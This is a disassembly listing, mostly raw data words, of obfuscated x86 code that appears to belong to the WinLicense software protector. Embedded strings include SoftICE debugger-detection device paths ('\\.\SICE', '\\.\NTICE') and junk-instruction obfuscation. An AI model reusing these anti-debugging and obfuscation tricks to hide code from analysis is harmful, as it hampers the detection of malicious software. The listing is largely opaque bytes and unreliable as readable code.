		dd 1476268Bh, 1C9DEA6Bh, 585FDAB6h, 0E9C55C2Bh,	76268BAFh
		dd 3CDC723Dh, 0C20DB0B7h, 8412A25Bh, 5389B0Bh, 0ED940000h
		dd 981A7612h, 1CA3FF9Dh, 8F376301h, 3EBAD6B2h, 5D3A593Bh
		dd 0B8D8D965h, 2D4F5AECh, 97F5F471h, 1F7D78FBh,	1B5D3144h
		dd 0A97C6ECAh, 0FE858C17h, 75FE8AFBh, 8D08017Eh, 0E6FEA14h
		dd 72EE38DEh, 0E283F0F7h, 45AD124Ch, 762493E9h,	507AA0CCh
		dd 0FEA2DDE1h, 0F9FFFFFEh, 6CFBFE85h, 0E40DF237h, 24BCCE8Ah
		dd 0E89D1A76h, 20B6F536h, 58023D93h, 0FD78F1CDh, 0ADC47C6Ch
		dd 6CB697D1h, 0AA49257Ch, 50D1DEAFh, 0DED9B1D3h, 0FC8D982Fh
		dd 0D7A73EBFh, 82B4E772h, 233EC15Bh, 0F380EF8Bh, 24E72263h
		dd 0C5AD5676h, 0C8B92623h, 0A83827B8h, 237B0817h, 0B05D9249h
		dd 0B46F5906h, 6EDDE1A6h, 19Bh,	9ADEB047h, 267624EEh, 0D9D6F159h
		dd 0B8625D79h, 1E13932Dh, 0EBAA0061h, 6C42CA93h, 73911E7Ch
		dd 9AF48B22h, 7C6C41DEh, 9BDD8DEAh, 297C6C41h, 93EAE84Eh
		dd 0B56465Eh, 0A3FB6A30h, 5BFE54B6h, 58344522h,	932ABD5Fh
		dd 4FE6A2FCh, 0B5F24FFEh, 88AFBF1Dh, 3E795646h,	6B6E15A7h
		dd 13169D09h, 129059ACh, 2B06F33h, 40Ah, 44243BBAh, 0CDAFAA48h
		dd 31534ED1h, 0A4C4DD65h, 2F4D4CE8h, 0EB97AF04h, 881E8A16h
		dd 6A3FF9Dh, 8E356103h,	637AE98Bh, 6ECB4D0Bh, 42C59B7Ch
		dd 0AB57E980h, 8AD8D9D6h, 762432CEh, 74FB401Dh,	9BE9EED7h
		dd 0FE8EBAE8h, 0FF7C416Ch, 3BE1FD8Ah, 349AB74Ah, 2AE5F58h
		dd 0B0317E0Fh, 0A8B34925h, 25717C6Fh, 0B6F7849Dh, 62E756FDh
		dd 44C52203h, 0ACB23FD1h, 3A3EF904h, 62E2627Ah,	880464E5h
		dd 0F9DEAEDh, 0CDDE6164h, 0EB0C59FFh, 3788634h,	0AD540000h
		dd 58DAB6D2h, 0DC633F5Dh, 4FF7A3C1h, 0FE7A1672h, 1D7A99FBh
		dd 0F8989925h, 6D0F1AACh, 0D7B5B431h, 5F3D38BBh, 0DB9DF184h
		dd 0E97C6ECAh, 0FE85CC57h, 95225F0Fh, 0B838FF99h, 2AABC8B9h
		dd 27CCDCADh, 401EB520h, 7624CB08h, 0EBDEABD4h,	0A50F09EEh
		dd 557A79D1h, 623C2299h, 55762527h, 9D852EC2h, 16E1F0Ah
		dd 68922A80h, 0B0DDE1FCh, 0FFFFFD25h, 0FBFE85EBh, 2337376Ch
		dd 937C517Dh, 0E7D0BC3Bh, 15DCB225h, 0B47C6C81h, 0E98B8718h
		dd 0A6F86FECh, 7C6C60E2h, 892981EEh, 0D9E182EEh, 0A5675074h
		dd 28E69B32h, 0E3254C1Ch, 0FC410FA7h, 287C6CF7h, 6D41D84Fh
		dd 7C6CED2Bh, 0C858FEB9h, 845F701Eh, 0F19BA424h, 0B210866h
		dd 0F3A82ACCh, 3373A245h, 8027B5E5h, 0E28D2D85h, 5A003B95h
		dd 1C9834CBh, 1727B51Dh, 0D124841Eh, 6AD3FD6h, 8E356103h
		dd 29AD348Bh, 0E49B6445h, 27976h, 0D5AC5500h, 5C59DBB7h
		dd 0C0DF603Ch, 754CF4A0h, 0FAFF7B17h, 241C759Eh, 0AFFB9998h
		dd 306C0C19h, 0BAD6B2B5h, 855E3A39h, 0CBDC9CF2h, 56E87C6Eh
		dd 0DC7EB9CDh, 0C7E17549h, 3ED27C6Eh, 982FBDA8h, 17BFFC8Dh
		dd 0F7891C9Bh, 7915774Ah, 0FC8CFDFCh, 0CACD7077h, 0EC0C5A1Fh
		dd 21C8333h, 9A80000h, 0B43E6A36h, 20C7D3B1h, 0AB4B4725h
		dd 52DECAD6h, 41163D5Fh, 9CFCFD79h, 1637E00h, 8BE9E895h
		dd 0F391941Fh, 37714D60h, 857C6ECDh, 0EC806023h, 713E4F5Ah
		dd 78453C04h, 0B119D3C7h, 0AD38E2DDh, 6F8B45D1h, 8114937Ch
		dd 234144EFh, 0EDC16D4Bh, 7C6E82ABh, 66F17E39h,	6E835A08h
		dd 98E9967Ch, 59DA760Dh, 1E4C2D5Ah, 7C6E825Ah, 0E1B11966h
		dd 78374445h, 0A3B53FD1h, 36770401h, 13BBF889h,	4FF5FB87h
		dd 0CFAFCD4Ah, 0EAC453F1h, 7C6E82B6h, 4EE27532h, 0CEDAABA6h
		dd 5D5A2B26h, 2B7976DCh, 0B1FC8D88h, 691941Fh, 82591F6Fh
		dd 18677C6Eh, 0A7F16B2h, 2758CB1Ch, 8111B9DDh, 484FF4E2h
		dd 0D2B2BACBh, 0FD27E456h, 0AFE47376h, 8384C570h, 0D4AB5626h
		dd 0CB59C6A7h, 5D5A2B2Eh, 3AB9D5F5h, 0B6324E3Fh, 0C2BCC2B3h
		dd 292CD71Dh, 21C65A4Bh, 600C8C22h, 38DC1061h, 975D02F8h
		dd 787905EBh, 610D99FBh, 0E8841360h, 34E44A4Dh,	5EF9B689h
		dd 79052F9Ch, 0D053ED78h, 0B468A0D5h, 3C70AC8Ch, 49B0A96h
		dd 0BACBD668h, 59EBADFDh, 0BEF97C6Eh, 0FCFB7818h, 0C0BB3F8Fh
		dd 42E534E1h, 0D95A3647h, 0C4F6ADDAh, 2BA7CE07h, 0BC12A974h
		dd 345D72FCh, 8B07AFC8h, 0E37AEDE8h, 5D72CD8Bh,	369C1B34h
		dd 7E75FEAAh, 0A8A955E7h, 7327613Dh, 0CAB5345Dh, 0B9455764h
		dd 2AE0CBB8h, 104AF75h,	898C3763h, 0E1AB94F8h, 9BA11876h
		dd 31C83AA5h, 959C1B5Dh, 68CEA92Eh, 6D4D2F48h, 861D8852h
		dd 9BD99FEFh, 98E72E95h, 30A2A432h, 493634E0h, 5FFAA5DEh
		dd 0A959173Eh, 9D267201h, 5AEFA86h, 0DCE1710Eh,	0B1B2DC6Eh
		dd 0E1E48E22h, 80A81749h, 3871E4E3h, 0F7EABCCEh, 4161C963h
		dd 3E31BC50h, 0E8A2041h, 83116E65h, 0E577EEE3h,	0AFAA485Eh
		dd 0FA50D1DEh, 0A9435AFDh, 35A70F0Ah, 201A276h,	0F3681E93h
		dd 0B9F6CB6Bh, 5C208FF8h, 227E0AA0h, 14159181h,	368E697h
		dd 0EF000000h, 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh
		dd 0F6720E7Fh, 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h
		dd 68B9BFCCh, 7CB4h, 68240C89h,	201Bh
		db 89h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, 42F510BFh
		mov	eax, 0C3558452h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	22EAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		push	ebp
		mov	ebp, 2FD70692h
		xor	[esp+4], ebp
		pop	ebp
		pop	dword ptr [ebx+8]
		xor	dword ptr [ebx+8], 2FD70692h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_541331
; ---------------------------------------------------------------------------
		db 0DFh
		dd 9C6EB8C4h, 0C503064Ah, 0FFAAE0FFh, 0DA2D719Bh, 45E55EB5h
		dd 0FD35349Bh, 41F95B75h, 91151DC5h, 0B1E95CF8h, 0FBAF3B92h
		dd 0D6307F25h, 0A46D56B9h, 0FC9C0240h, 11E86A66h, 1000000h
		dd 994230BEh, 7271BFDFh, 69F25C7Dh, 80163E5Ch, 0ED47BA66h
		dd 9870F58h, 0F000000h,	383h, 0D68B6600h, 6D1CC081h, 8D0F0000h
		dd 2, 0FF33B1B1h, 0BE8h, 65BCD900h, 0E633B7FDh,	0B44DCC72h
		dd 1C8B59F5h, 4800F38h,	66000000h, 81B5B7BAh, 82CFEEBh
		dd 0C88B6613h, 0FA89EB81h, 0F3812452h, 6362D1E5h, 8E951h
		dd 0CE360000h, 7310E141h, 895A67C6h, 6660381Ch,	8093AFBAh
		dd 8361A8F5h, 0B70F04EFh, 78FF81F7h, 0FFFFF93h,	0FFFFB185h
		dd 0E9F78BFFh, 73h, 5BD8360h, 6482Ah, 5840Fh, 5EE90000h
		dd 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h, 3E800000h
		dd 8850F33h, 6A000000h,	24E94610h, 80000000h, 850F343Eh
		dd 8, 0E946306Ah, 13h, 0F353E80h, 885h,	46406A00h, 2E9h
		dd 8D006A00h, 48009D85h, 4895006h, 34895024h, 0FF006A24h
		dd 4815D595h, 0C6C36106h, 480FF985h, 51684D06h,	815B2481h
		dd 0F5572404h, 0B5FF4910h, 6482F2Dh, 38BA858Dh,	0D0FF0648h
		dd 15D58589h, 8E80648h,	5A000000h, 6574ACD0h, 0BCA2325h
		dd 48121D9Dh, 0C2815A06h, 676Ah, 19BBBEh, 0A0EB8100h, 0FF3CFBE7h
		dd 830F5832h, 6, 17158589h, 0C0810648h,	15480EB1h, 2F399D8Bh
		dd 0F0810648h, 7D3DCC60h, 7880Fh, 66600000h, 0F5E775BBh
		dd 20C08161h, 0E9356B79h, 5, 3B64696Ah,	66028911h, 9B1EC981h
		dd 0F903EA83h, 9CB814Ah, 81344EFFh, 1EEh, 0A4850F00h, 29FFFFFFh
		dd 48002D85h, 0AAE906h,	6F530000h, 61777466h, 575C6572h
		dd 694C6E69h, 736E6563h, 68430065h, 496B6365h, 7058004Eh
		dd 45746F72h, 746978h, 63656843h, 54554F6Bh, 6E695700h
		dd 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h
		dd 736E6563h, 69724465h, 56726576h, 69737265h, 57006E6Fh
		dd 694C6E69h, 736E6563h, 736E4965h, 636E6174h, 78450065h
		dd 6B4F7469h, 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h
		dd 45004E49h, 4F746978h, 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 87858900h, 8D064A9Fh
		dd 4A9F8385h, 858D5006h, 64A9EEDh, 16850h, 95FF8000h, 64A9F93h
		dd 0B5FF196Ah, 64A9F87h, 6A016Ah, 9F1C858Dh, 0FF50064Ah
		dd 4A9F83B5h, 6995FF06h, 0FF06482Eh, 4A9F83B5h,	8F95FF06h
		dd 0FF064A9Fh, 4A9F83B5h, 2595FF06h, 0C3064832h, 9F878589h
		dd 858D064Ah, 64A9F83h,	0ED858D50h, 50064A9Eh, 168h, 9395FF80h
		dd 6A064A9Fh, 87858D04h, 50064A9Fh, 6A046Ah, 9F46858Dh
		dd 0FF50064Ah, 4A9F83B5h, 6995FF06h, 0FF06482Eh, 4A9F83B5h
		dd 8F95FF06h, 0FF064A9Fh, 4A9F83B5h, 2595FF06h,	0C3064832h
		dd 9F878589h, 858D064Ah, 64A9F83h, 0ED858D50h, 50064A9Eh
		dd 168h, 9395FF80h, 6A064A9Fh, 87858D04h, 50064A9Fh, 6A046Ah
		dd 9F2E858Dh, 0FF50064Ah, 4A9F83B5h, 6995FF06h,	0FF06482Eh
		dd 4A9F83B5h, 8F95FF06h, 0FF064A9Fh, 4A9F83B5h,	2595FF06h
		dd 0C3064832h, 9F878589h, 858D064Ah, 64A9F83h, 0ED858D50h
		dd 50064A9Eh, 168h, 9395FF80h, 6A064A9Fh, 87858D04h, 50064A9Fh
		dd 6A046Ah, 9F59858Dh, 0FF50064Ah, 4A9F83B5h, 6995FF06h
		dd 0FF06482Eh, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh, 4A9F83B5h
		dd 2595FF06h, 0C3064832h, 9F878589h, 858D064Ah,	64A9F83h
		dd 0ED858D50h, 50064A9Eh, 168h,	9395FF80h, 6A064A9Fh, 87858D04h
		dd 50064A9Fh, 6A046Ah, 9F09858Dh, 0FF50064Ah, 4A9F83B5h
		dd 6995FF06h, 0FF06482Eh, 4A9F83B5h, 8F95FF06h,	0FF064A9Fh
		dd 4A9F83B5h, 2595FF06h, 0C3064832h, 289DBD83h,	0F000648h
		dd 0B84h, 9D9D8B00h, 83064828h,	3894CC3h, 9DBD83C3h, 64828h
		dd 0B840Fh, 9D8B0000h, 648289Dh, 8950C383h, 0BD83C303h
		dd 648289Dh, 0B840F00h,	8B000000h, 48289D9Dh, 54C38306h
		dd 83C30389h, 48289DBDh, 840F0006h, 0Bh, 289D9D8Bh, 0C3830648h
		dd 0C3038958h, 289DBD83h, 0F000648h, 0B84h, 9D9D8B00h
		dd 83064828h, 3895CC3h,	8960C3C3h, 4A9F8785h, 83858D06h
		dd 50064A9Fh, 9EED858Dh, 6850064Ah, 80000001h, 9F9395FFh
		dd 46A064Ah, 9F87858Dh,	6A50064Ah, 8D006A04h, 4A9F7E85h
		dd 0B5FF5006h, 64A9F83h, 2E6995FFh, 0BD830648h,	6481299h
		dd 0C840F00h, 0FF000000h, 4A9F83B5h, 8F95FF06h,	0FF064A9Fh
		dd 4A9F83B5h, 2595FF06h, 61064832h, 858960C3h, 64A9F87h
		dd 9F83858Dh, 8D50064Ah, 4A9EED85h, 1685006h, 0FF800000h
		dd 4A9F9395h, 8D046A06h, 4A9F8785h, 46A5006h, 858D006Ah
		dd 64A9F60h, 83B5FF50h,	0FF064A9Fh, 482E6995h, 99BD8306h
		dd 64812h, 0C840Fh, 0B5FF0000h,	64A9F83h, 9F8F95FFh, 0B5FF064Ah
		dd 64A9F83h, 322595FFh,	0C3610648h, 87858960h, 8D064A9Fh
		dd 4A9F8385h, 858D5006h, 64A9EEDh, 16850h, 95FF8000h, 64A9F93h
		dd 858D046Ah, 64A9F87h,	6A046A50h, 67858D00h, 50064A9Fh
		dd 9F83B5FFh, 95FF064Ah, 6482E69h, 1299BD83h, 0F000648h
		dd 0C84h, 83B5FF00h, 0FF064A9Fh, 4A9F8F95h, 83B5FF06h
		dd 0FF064A9Fh, 48322595h, 60C36106h, 9F878589h,	858D064Ah
		dd 64A9F83h, 0ED858D50h, 50064A9Eh, 168h, 9395FF80h, 6A064A9Fh
		dd 87858D04h, 50064A9Fh, 6A046Ah, 9F6F858Dh, 0FF50064Ah
		dd 4A9F83B5h, 6995FF06h, 8306482Eh, 481299BDh, 840F0006h
		dd 0Ch,	9F83B5FFh, 95FF064Ah, 64A9F8Fh,	9F83B5FFh, 95FF064Ah
		dd 6483225h, 8960C361h,	4A9F8785h, 83858D06h, 50064A9Fh
		dd 9EED858Dh, 6850064Ah, 80000001h, 9F9395FFh, 46A064Ah
		dd 9F87858Dh, 6A50064Ah, 8D006A04h, 4A9F7685h, 0B5FF5006h
		dd 64A9F83h, 2E6995FFh,	0BD830648h, 6481299h, 0C840F00h
		dd 0FF000000h, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh, 4A9F83B5h
		dd 2595FF06h, 61064832h, 85C760C3h, 64A9F87h, 1, 9F83858Dh
		dd 8D50064Ah, 4A9EED85h, 2685006h, 0FF800000h, 4A9F9395h
		dd 0FC00B06h, 0F84h, 8785C700h,	64A9Fh,	0E9000000h, 4Dh
		dd 858D046Ah, 64A9F87h,	6A046A50h, 1858D00h, 50064A9Fh
		dd 9F83B5FFh, 95FF064Ah, 6482E69h, 840FC00Bh, 0Fh, 9F8785C7h
		dd 64Ah, 0AE90000h, 0C7000000h,	4A9F8785h, 106h, 83B5FF00h
		dd 0FF064A9Fh, 48322595h, 858B6106h, 64A9F87h, 858960C3h
		dd 64A9F87h, 9F83858Dh,	8D50064Ah, 4A9EED85h, 1685006h
		dd 0FF800000h, 4A9F9395h, 8D046A06h, 4A9F8785h,	46A5006h
		dd 858D006Ah, 64A9F01h,	83B5FF50h, 0FF064A9Fh, 482E6995h
		dd 99BD8306h, 64812h, 0C840Fh, 0B5FF0000h, 64A9F83h, 9F8F95FFh
		dd 0B5FF064Ah, 64A9F83h, 322595FFh, 0C3610648h,	87858960h
		dd 8D064A9Fh, 4A9F8385h, 858D5006h, 64A9EEDh, 16850h, 95FF8000h
		dd 64A9F93h, 858D046Ah,	64A9F87h, 6A046A50h, 13858D00h
		dd 50064A9Fh, 9F83B5FFh, 95FF064Ah, 6482E69h, 1299BD83h
		dd 0F000648h, 0C84h, 83B5FF00h,	0FF064A9Fh, 4A9F8F95h
		dd 83B5FF06h, 0FF064A9Fh, 48322595h, 0C6C36106h, 480FF985h
		dd 7685206h, 0FFADE47Bh, 4827C5B5h, 5595FF06h, 89064827h
		dd 4A9F9385h, 0F985C606h, 5206480Fh, 2E00E568h,	0C5B5FF90h
		dd 0FF064827h, 48275595h, 8F858906h, 0C6064A9Fh, 480FF985h
		dd 35685206h, 0FFB9BF12h, 4827C5B5h, 5595FF06h,	89064827h
		dd 482E6985h, 0F985C606h, 5206480Fh, 78103468h,	0C5B5FF98h
		dd 0FF064827h, 48275595h, 25858906h, 0C6064832h, 480FF985h
		dd 0D4685206h, 0FFC005DBh, 4827C5B5h, 5595FF06h, 89064827h
		dd 48162185h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch
		dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 0B9C08B00h
		dd 3908D8Ah, 1299BD83h,	75000648h, 35BD8309h, 6480Dh, 53501974h
		dd 0FB8C08Bh, 89000004h, 4829B985h, 649D8D06h, 0FF064AA4h
		dd 83585BD3h, 480D35BDh, 17740006h, 0FB85350h, 89000004h
		dd 4829B985h, 539D8D06h, 0FF064AA1h, 8B585BD3h,	0CE8166CFh
		dd 0C08BDC98h, 17159531h, 85C60648h, 6480FF9h, 0B860F43h
		dd 60000000h, 31419589h, 0B70F0648h, 4E861DEh, 0FC000000h
		dd 8BBC8E6Eh, 8F0F50CBh, 2, 448BCA8Bh, 8B660424h, 56008BCEh
		dd 3E79BE66h, 2444895Eh, 14E904h, 473E0000h, 0AAD27B67h
		dd 9A3F409Bh, 8E55CD3Ch, 2874B18Eh, 8B5874B7h, 481721B5h
		dd 8D8B5106h, 6483269h,	0D5B5FF5Eh, 0F06480Eh, 128Bh, 0DE900h
		dd 971C0000h, 84999964h, 26A1667Eh, 8D423D4Bh, 4838BA85h
		dd 14E806h, 0F5820000h,	61272C6Ah, 4AE8B7ACh, 0A342A2FEh
		dd 96A28AAFh, 0B70F8262h, 8D895EF1h, 6480DB1h, 0B529D0FFh
		dd 6481165h, 0BE990h, 0EE640000h, 5C042912h, 0DB92C34Bh
		dd 299050F0h, 480D4595h, 6A006A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2E9BC356h
		dd 66B169D1h, 8B3A91B9h, 482A39B5h, 0FF3D6806h,	22BAFA67h
		dd 8126F74Ah, 1432404h,	6A0598h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 6B51A2C3h, 0FF763AD2h
		dd 6AE606E6h, 95958B03h, 66064813h, 6ADE85BEh, 99B58900h
		dd 29064809h
		dd 4803E58Dh, 68036A06h, 4277439Dh, 481CB8Bh, 88BC6324h
		dd 0FFBF0F7Dh, 0A5CA9D8Dh, 94B9064Ah, 0B916C391h, 18748C19h
		dd 8A605093h, 616160F8h, 8B66505Ah, 6A93D6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 95DE9BC3h
		dd 0FA5E8479h, 8E9F0B0h, 88000000h, 5EB00843h, 0FF66EA4Eh
		dd 1BEA80D0h, 78850F40h, 81000003h, 0C90176F6h,	0BF0F5800h
		dd 0B4BE50F9h, 894AC071h, 0A8BF2404h, 6A513EDCh, 0FA0FBE00h
		dd 958933D0h, 6480D15h,	4E8h, 8000h, 7E800h, 4FF20000h
		dd 1C7B9926h, 2427BE88h, 505A5CB2h, 48A0Fh, 0B9660000h
		dd 448BD8B1h, 52500424h, 0F525060h, 61585A31h, 585A310Fh
		dd 36B1008Bh, 4244489h,	11E8h, 0F334AB00h, 0DA9E1FF8h
		dd 0A2E8DF6Ch, 77CA353Ch, 0FE8B1F3Eh, 8166585Eh, 89237BCEh
		dd 482F819Dh, 6A036A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0C8BCC357h,	599D012Dh
		dd 6A064827h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 863ECCD5h, 2915B93Ch, 6A036A65h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0E1A7C357h, 4E8h,	0
		dd 0FFB966C0h, 0CC8A5028h, 424448Bh, 0FE9008Bh,	0DE000000h
		dd 908B1336h, 0F54234ACh, 1D48352Ah, 4489E9C5h,	890F0424h
		dd 0Dh,	0A6BF5250h, 0F28D79Ch, 5AF18B31h, 0BF665858h, 9D8D44A0h
		dd 64AA5D3h, 0D558589h,	0B1930648h, 63B2501Fh, 0E9B50393h
		dd 0FF06480Eh, 8E9D0h, 0E7C60000h, 7B1EEC61h, 0F40ED1Bh
		dd 20E85h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0EBF114DEh, 0AA096F40h, 0BE820h
		dd 4200000h, 8D1E66E5h,	0CC306876h, 0CE98Bh, 0B5770000h
		dd 52DA5C65h, 632CE645h, 89593158h, 480709B5h, 0F565806h
		dd 68Dh, 818D2B00h, 5E06480Fh, 0CE950h,	55770000h, 0C4CB9080h
		dd 9F2F35EBh, 489BF9Ch,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0D6047B61h, 6AE026F4h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0F3C1F14Ah, 0BD33BEF7h, 6482B91h, 0E999501h
		dd 4E80648h, 80000000h,	0E9000000h, 7, 0DBCEF087h, 5039130Ch
		dd 8BF18B66h, 60042444h, 0F54DBA60h, 0BB666EA1h, 0BB618804h
		dd 3590870Bh, 0F008B61h, 380h, 0D78B6600h, 4244489h, 6058F88Bh
		dd 0BF0FC68Bh, 36A61C9h, 13659589h, 6A0648h, 1800Fh, 6AF80000h
		dd 0B8B0F03h, 0F000000h, 583h, 47BCB900h, 4E857F5h, 0
		dd 8BC00000h, 448B50F7h, 6E90424h, 3F000000h, 327D2095h
		dd 66008BAAh, 89148FBEh, 0F042444h, 584h, 0A9B0BE00h, 60583C90h
		dd 10E9h, 0EF3FBB00h, 27A8528Fh, 0D85D2AEDh, 73C91CCAh
		dd 0F18D8B29h, 6106480Ch, 0A5DE9D8Dh, 9529064Ah, 6482785h
		dd 0F78B6650h, 0B1241C89h, 3D0FFCDh, 480EBDB5h,	850F4006h
		dd 6Fh,	8D958960h, 61064810h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0DB7AF828h
		dd 14E8h, 9D049800h, 0FD9CE5BAh, 5E0AD0E8h, 0B738FEA0h
		dd 49948C84h, 0B98589CAh, 5906482Ah, 113E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 1CD5383Ch, 8BFC9BC2h, 9E9D8h, 46F80000h, 6C45C03Fh
		dd 503A92B0h, 2B41BD89h, 4B5E0648h, 0DB58958h, 0C6064818h
		dd 480FF985h, 0BD8B4306h, 6481791h, 0F1368768h,	8A52509Ah
		dd 5A310FEEh, 24348158h, 5A877C20h, 0D5B5FFF8h,	8B06480Eh
		dd 0BA858DD6h, 0E8064838h, 12h,	479CC7FFh, 5F1FFFA5h, 696F2017h
		dd 0C664AE37h, 8166E092h, 5AF1E5C1h, 0FFF3BF0Fh, 8B6693D0h
		dd 0BF6650F2h, 0B99368CEh, 0B1A30D1h, 2A5D8D8Bh, 0D0FF0648h
		dd 70BDB966h, 72869D8Dh, 8D330648h, 64812F1h, 1B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0A78241D1h, 0C3CE6814h, 0F3BF0FE7h, 0F1C591BAh, 6AE3FF43h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0B5A9C355h, 6E467967h, 0F87434EEh, 0FAB2C18Bh
		dd 3211B58Bh, 0C08B0648h, 83CA8B66h, 481299BDh,	9750006h
		dd 0D35BD83h, 74000648h, 8B535019h, 40FB8C0h, 85890000h
		dd 6482FF9h, 0A4CB9D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h
		dd 50177400h, 40FB853h,	85890000h, 6482FF9h, 0A16C9D8Dh
		dd 0D3FF064Ah, 9E8585Bh, 28000000h, 0F435DF7h, 0D5F3FF29h
		dd 8CF6E281h, 8B5E7A16h, 6E8C0h, 0D50A0000h, 4BF756F6h
		dd 1785B589h, 0F5B0648h, 68Fh, 2DB52B00h, 81064807h, 60F1C3h
		dd 0EF816600h, 0B8232Fh, 80000000h, 34FF91CDh, 0FB8B6618h
		dd 81EE8A5Ah, 0C452CFF2h, 218D8B7Dh, 8106481Ah,	41480EC2h
		dd 4800F0Fh, 66000000h,	816A77B9h, 751F2F2h, 0F08B5213h
		dd 8903048Fh, 4805898Dh, 18D8B06h, 83064816h, 12E904E8h
		dd 0CF000000h, 4390C8A9h, 68DFEC50h, 0AC8EA3D3h, 270AAB9Ah
		dd 9CF881FFh, 0FFFFF9Fh, 0FFFF9D85h, 0E9CB8BFFh, 99h, 6775622Fh
		dd 63656863h, 2F00326Bh, 63677562h, 6B636568h, 6F662F00h
		dd 72656372h, 2F006E75h, 63677562h, 6B636568h, 6C6C7566h
		dd 68732F00h, 6F63776Fh, 2F006564h, 776F6873h, 65646F63h
		dd 632F0032h, 74726Ch, 7369642Fh, 732F0031h, 69776F68h
		dd 6174736Eh, 65636Eh, 7465672Fh, 74736C77h, 73757461h
		dd 6F6C2F00h, 61747367h, 737574h, 6D75642Fh, 61747370h
		dd 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0F7BD8300h, 64AADh, 0A840Fh,	85C70000h, 6480D35h, 1
		dd 0FF985C6h, 68470648h, 372AADABh, 0E2240481h,	0FF5942BEh
		dd 480ED5B5h, 0BA858D06h, 0FF064838h, 8BD0FFD0h, 223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2E0h, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C3E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0AD77B58Dh, 25E8064Ah
		dd 3000002h, 4AAE0CBDh,	0CBD8306h, 64AAEh, 0B840Fh, 85C70000h
		dd 6481299h, 1,	82B58DC3h, 0E8064AADh, 1FCh, 0AE0CBD03h
		dd 0BD83064Ah, 64AAE0Ch, 0B840F00h, 0C7000000h,	480D3585h
		dd 106h, 0B58DC300h, 64AADFBh, 1D3E8h, 0CBD0300h, 83064AAEh
		dd 4AAE0CBDh, 840F0006h, 0Bh, 2A0585C7h, 10648h, 8DC30000h
		dd 4AAD8CB5h, 1AAE806h,	0BD030000h, 64AAE0Ch, 0AE0CBD83h
		dd 0F00064Ah, 0B84h, 3585C700h,	106480Dh, 0C3000000h, 0AD96B58Dh
		dd 81E8064Ah, 3000001h,	4AAE0CBDh, 0CBD8306h, 64AAEh, 15840Fh
		dd 85C70000h, 6480D35h,	1, 129985C7h, 10648h, 8DC30000h
		dd 4AADA4B5h, 14EE806h,	0BD030000h, 64AAE0Ch, 0AE0CBD83h
		dd 0F00064Ah, 0A84h, 0C185C700h, 1064815h, 8D000000h, 4AADAEB5h
		dd 126E806h, 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah
		dd 0A84h, 0C185C700h, 1064815h,	8D000000h, 4AADB9B5h, 0FEE806h
		dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah,	0A84h
		dd 2985C700h, 1064804h,	8D000000h, 4AADBFB5h, 0D6E806h
		dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah,	0A84h
		dd 0B185C700h, 1064816h, 8D000000h, 4AADC5B5h, 0AEE806h
		dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah,	0A84h
		dd 0A185C700h, 106480Ah, 8D000000h, 4AADD3B5h, 86E806h
		dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah,	0A84h
		dd 5985C700h, 106481Ch,	8D000000h, 4AADE0B5h, 5EE806h
		dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah,	0A84h
		dd 6D85C700h, 106480Dh,	8D000000h, 4AADEBB5h, 36E806h
		dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah,	0A84h
